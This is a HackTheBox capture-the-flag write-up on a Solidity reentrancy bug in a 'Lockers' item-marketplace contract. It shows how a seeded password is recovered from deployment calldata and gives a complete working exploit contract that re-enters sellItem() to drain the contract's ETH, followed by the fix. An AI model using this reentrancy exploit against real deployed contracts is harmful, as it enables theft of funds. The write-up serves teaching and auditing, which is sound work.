Writeups/HTB Blockchain/Locked and Loaded
MediumHackTheBox · Blockchain

Locked and Loaded

Reentrancy — State That Lags Behind Execution

The checks-effects-interactions pattern exists to prevent exactly one class of bug: an external call that fires before the contract has updated its own state. When an ETH transfer triggers a receive() hook in the recipient, and the item being sold still exists in contract storage, the attacker can sell the same item twice — draining double the intended payout.

reentrancychecks-effects-interactionscall()receive()calldata decodingitem marketplace
01

Challenge Overview

The challenge deploys a marketplace contract called Lockers, seeded with 2 ETH, a set of registered users, and a set of items. Items have different rarity tiers with different payout values when sold. The attacker must drain the contract's entire ETH balance to zero.

Objective: address(TARGET).balance == 0. The contract starts with 2 ETH, and a Mythic item pays out exactly 1 ETH — making two payouts the exact drain needed.

02

Calldata Reconnaissance

The Lockers contract constructor takes several arrays as arguments: usernames, passwords, item names, item owners, and item rarities. These are passed as calldata in the deployment transaction — and deployment transactions, like all transactions, are publicly readable on-chain.

To find these initial values, we fetch the deployment transaction and decode its input data:

Terminal
$ # Find the setup contract's deployment transaction hash
cast tx <SETUP_TX_HASH> --rpc-url $RPC --json | python3 -c "
import sys, json
tx = json.load(sys.stdin)
print(tx['input'])
"

The raw input contains ABI-encoded arrays of users, passwords, items, owners, and rarities. Decoding this reveals the full seeded dataset — including the password of the Mythic item's original owner. This password is what we'll need to authenticate a transfer of ownership.

KEY INSIGHT

Constructor calldata is a gold mine in blockchain CTFs. Whenever a challenge seedes initial state during deployment (users, passwords, items, keys), that data is written into the deployment transaction's input field. It is permanently on-chain and fully decodable. Always check deployment calldata when the challenge involves pre-seeded data.

03

Contract Architecture

Key Functions in Lockers.sol

The Lockers contract has three functions relevant to our exploit:

solidity
1// Register a username, binding it to msg.sender's address
2function getLocker(string calldata username, string calldata password) external {
3 require(bytes(users[username]).length == 0, "Username taken");
4 users[username] = password;
5 usernameToWallet[username] = msg.sender;
6}
7
8// Transfer an item to another username (authenticated by current owner's password)
9function transferItem(
10 string calldata name,
11 string calldata to,
12 string calldata password
13) external {
14 for (uint256 i = 0; i < items.length; ++i) {
15 if (_strEquals(name, items[i].name)) {
16 require(_strEquals(password, users[items[i].owner]), "Auth failed");
17 items[i].owner = to;
18 return;
19 }
20 }
21 revert("Item not found");
22}
23
24// Sell an item — this is the vulnerable function
25function sellItem(string calldata name, string calldata password) external { ... }

Two observations set up the exploit:

  • getLocker registers any username to msg.sender — so our attacker contract can register itself as the wallet address for a username.
  • transferItem moves item ownership to any username string with no validation that the target is registered. We can transfer the Mythic item to ourselves using the original owner's leaked password.

The sellItem Function

solidity
1function sellItem(string calldata name, string calldata password) external {
2 uint256 index;
3 Item memory _item;
4 string memory prevOwner;
5
6 // Find the item
7 for (uint256 i = 0; i < items.length; ++i) {
8 if (_strEquals(name, items[i].name)) {
9 require(_strEquals(password, users[items[i].owner]), "Authentication Failed");
10 _item = items[i];
11 prevOwner = items[i].owner;
12 index = i;
13 }
14 }
15
16 require(bytes(_item.name).length > 0, "Item does not exist");
17
18 _item.owner = "Vendor"; // This does NOT yet update storage — _item is a memory copy
19
20 // ═══════════════════════════════════════════════════════════
21 // DANGER: External call fires HERE, before delete
22 // ═══════════════════════════════════════════════════════════
23 (bool success,) = usernameToWallet[prevOwner].call{value: price[_item.rarity]}("");
24 require(success);
25
26 delete items[index]; // State update happens AFTER the external call — too late
27}
04

Understanding Reentrancy

Reentrancy is one of the oldest and most consequential smart contract vulnerabilities. The DAO hack in 2016 — which led to the Ethereum/Ethereum Classic fork — was a reentrancy attack. To understand it, you need to understand what happens when Solidity sends ETH to an address.

Mental Model — What Happens When ETH is Sent

When a Solidity contract calls addr.call{value: X}(""):

  • If addr is an EOA (externally owned account), the ETH is transferred and execution resumes.
  • If addr is a contract, the ETH is transferred AND the contract's receive() or fallback() function is executed.
  • During that execution, the original contract has not yet finished its function. The EVM is mid-execution of sellItem(). Any state updates that come after the .call() have not happened yet.

This is the core insight. When usernameToWallet[prevOwner].call{value: 1 ether}("") fires, execution transfers to our attacker contract. At this precise moment, delete items[index] has NOT run. The item still exists in items[]. The attacker contract can call sellItem() again from receive().

05

The Vulnerable Code — Line by Line

The vulnerability in sellItem() is a textbook violation of the checks-effects-interactions pattern. The correct order is:

CORRECT ORDER (Checks-Effects-Interactions):

  ① CHECKS:    validate inputs, require conditions
  ② EFFECTS:   update all contract state (delete item, update balances)
  ③ INTERACT:  send ETH, call external contracts

ACTUAL ORDER IN sellItem():

  ① CHECKS:    find item, authenticate owner           ✓
  ② INTERACT:  .call{value: price}("")                 ← WRONG POSITION
  ③ EFFECTS:   delete items[index]                     ← TOO LATE

The line that makes this exploitable:

solidity
1(bool success,) = usernameToWallet[prevOwner].call{value: price[_item.rarity]}("");
  • usernameToWallet[prevOwner] — this is the wallet address we registered via getLocker(). We control this address. It is our attacker contract.
  • .call{value: price[_item.rarity]}("") — sends ETH to our contract. This triggers receive().
  • Inside receive(), we call sellItem() again on the same item.
  • The second call finds the item still in items[] (delete hasn't run), authenticates successfully, and pays out another 1 ETH.
  • The second call's delete removes the item from storage.
  • The first call's delete tries to delete an already-deleted index — harmless.
  • Total ETH paid out: 2 ETH. Balance: 0. Win condition satisfied.
06

Exploit Strategy

We need exactly two payouts of 1 ETH each (Mythic item price) to drain the 2 ETH contract balance. The reentrancy naturally provides this: one payout during the outer sellItem() call, one during the re-entered sellItem() call from receive().

A reentered boolean flag in our attacker contract prevents a third call — which would fail anyway since the balance would be 0, but preventing it avoids a revert in the nested call that could cascade back up and revert everything.

Setup steps before calling sellItem:

  1. Deploy the attacker contract (it registers itself as a user via the constructor or an attack() function)
  2. Call getLocker(myUsername, myPassword) — binds our username to the attacker contract address
  3. Call transferItem(mythicItemName, myUsername, victimPassword) — steal ownership of the Mythic item
  4. Call sellItem(mythicItemName, myPassword) — trigger the reentrancy
07

The Reentrancy Execution Trace

Complete Nested Execution Trace
Initial state: Lockers balance = 2 ETH, WizardsScepter owned by attacker

attack()
  │
  └── sellItem("WizardsScepter", MY_PASSWORD)  [outer call]
           │
           ├── [find item, authenticate] ✓
           ├── _item.owner = "Vendor"  [memory only, storage unchanged]
           ├── balance: 2 ETH
           │
           └── .call{value: 1 ether}("") → Attacker.receive()
                    │
                    Lockers balance: 1 ETH (1 ETH sent)
                    WizardsScepter: STILL IN items[] (not yet deleted)
                    │
                    └── sellItem("WizardsScepter", MY_PASSWORD)  [reentrant call]
                             │
                             ├── [find item, authenticate] ✓  (item still exists!)
                             ├── _item.owner = "Vendor"
                             ├── balance: 1 ETH
                             │
                             └── .call{value: 1 ether}("") → Attacker.receive()
                                      │
                                      reentered = true → do nothing, return
                                      │
                             ← back to nested sellItem
                             ├── delete items[index]      [item removed from storage]
                             └── returns
                    │
                    Lockers balance: 0 ETH (second 1 ETH sent)
                    │
           ← back to outer sellItem
           ├── delete items[index]      [already deleted — no-op]
           └── returns

isSolved() → true  (balance == 0)
08

Writing the Exploit Contract

solidityExploit.sol
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import {Lockers} from "./Lockers.sol";
5import {Setup} from "./Setup.sol";
6
7contract Exploit {
8 Lockers public immutable target;
9
10 // Credentials recovered from deployment calldata
11 string constant ITEM_NAME = "WizardsScepter";
12 string constant VICTIM_PASSWORD = "ss4#Nq7nNyKMfZ=XESnOzP2hk:SSRCzo2QPk4w~~";
13 string constant MY_USERNAME = "attacker_user_001";
14 string constant MY_PASSWORD = "attacker_pw_001";
15
16 bool private reentered;
17
18 constructor(address _setup) {
19 target = Setup(_setup).TARGET();
20 }
21
22 function attack() external {
23 // Step 1: Register our contract as the wallet for our username
24 target.getLocker(MY_USERNAME, MY_PASSWORD);
25
26 // Step 2: Transfer the Mythic item to our username
27 // (authenticated with the victim's leaked password)
28 target.transferItem(ITEM_NAME, MY_USERNAME, VICTIM_PASSWORD);
29
30 // Step 3: Sell the item — this triggers reentrancy via receive()
31 target.sellItem(ITEM_NAME, MY_PASSWORD);
32 }
33
34 receive() external payable {
35 // Called when Lockers sends us 1 ETH during sellItem()
36 // At this point: item still exists in storage, outer sellItem() is mid-execution
37 if (!reentered && address(target).balance >= 1 ether) {
38 reentered = true;
39 // Re-enter: sell the same item again before it gets deleted
40 target.sellItem(ITEM_NAME, MY_PASSWORD);
41 }
42 // After this returns, the outer sellItem() resumes and deletes the item
43 }
44}

Key points about the exploit contract design:

  • Lines 23, 27, 31: Three-step setup — register, steal, sell. Each step is necessary: getLocker binds our address, transferItem moves ownership, sellItem is where the reentrancy fires.
  • Line 35: receive() is triggered by the ETH transfer inside sellItem(). This is where execution returns to us mid-function.
  • Line 36: The reentered guard prevents a third call. Without it, the third call would fail (balance is 0, can't pay), potentially reverting the whole chain.
  • Line 38: The re-entrant sellItem() call — the item still exists at this point, so the call succeeds and drains the remaining 1 ETH.
09

Execution & Verification

Terminal
$ forge script Solve.s.sol:Solve \
  --rpc-url http://<HOST>:<PORT>/rpc \
  --private-key $PRIVATE_KEY \
  --broadcast
Output
Sending transactions [1/2]:
  hash: <DEPLOY_TX>  Exploit contract deployed

Sending transactions [2/2]:
  hash: <ATTACK_TX>  attack() executed

Script ran successfully.

== Logs ==
isSolved: true
Terminal
$ cast call --rpc-url $RPC $TARGET "isSolved()"
Output
0x0000000000000000000000000000000000000000000000000000000000000001
10

Root Cause & Mitigation

Root Cause

The sellItem() function violates the checks-effects-interactions pattern. It sends ETH to an external, attacker-controlled address before deleting the item from storage. This creates a window where the item still exists but ETH has already been paid for it.

The Fix — Follow Checks-Effects-Interactions

solidity
1function sellItem(string calldata name, string calldata password) external {
2 // ... find item, authenticate ...
3
4 // ① EFFECTS first — update state before any external calls
5 delete items[index];
6
7 // ② INTERACT last — send ETH after state is clean
8 (bool success,) = usernameToWallet[prevOwner].call{value: price[_item.rarity]}("");
9 require(success);
10}

With the delete before the external call, a re-entrant sellItem() would fail to find the item ("Item does not exist") and would revert.

Alternative — Reentrancy Guard

A reentrancy guard (nonReentrant modifier from OpenZeppelin's ReentrancyGuard) prevents any function with the modifier from being re-entered. This is a defensive layer, but Checks-Effects-Interactions is the primary fix — reentrancy guards are additional protection.

Additional Issues

The transferItem() function should validate that the recipient username exists inusernameToWallet before allowing ownership transfer. Currently, items can be moved to any arbitrary string, enabling the attacker to steal items by registering a username that matches a transfer target.

11

Lessons Learned

Lesson 1 — Reentrancy is About State, Not ETH

Reentrancy attacks are not fundamentally about ETH. They happen when external code gets control before the contract has finished updating its state. ETH transfers are one trigger (via receive()), but reentrancy can occur through any external call where the recipient can call back into the contract before state is finalized.

Lesson 2 — Checks-Effects-Interactions is Non-Negotiable

Every function that makes external calls must update all relevant state before the external call. There is no safe way to defer state updates when an external call is in the call stack. The moment .call() executes, you have given up control of execution to the callee.

Lesson 3 — Calldata Reconnaissance Reveals Seeded Secrets

Deployment calldata is permanent and public. Any challenge that initializes contracts with passwords, keys, or credentials during construction has those values recoverable from the deployment transaction. Always investigate the deployment transaction first in challenges with pre-seeded state.

Lesson 4 — Audit Pattern for Reentrancy

When reviewing Solidity code, scan for any pattern where: (a) the function sends ETH or makes an external call, and (b) state updates (deletes, balance changes, ownership transfers) occur after that call. Any such pattern is a reentrancy candidate. Ask: what happens if the recipient calls back into this function before the post-call state updates complete?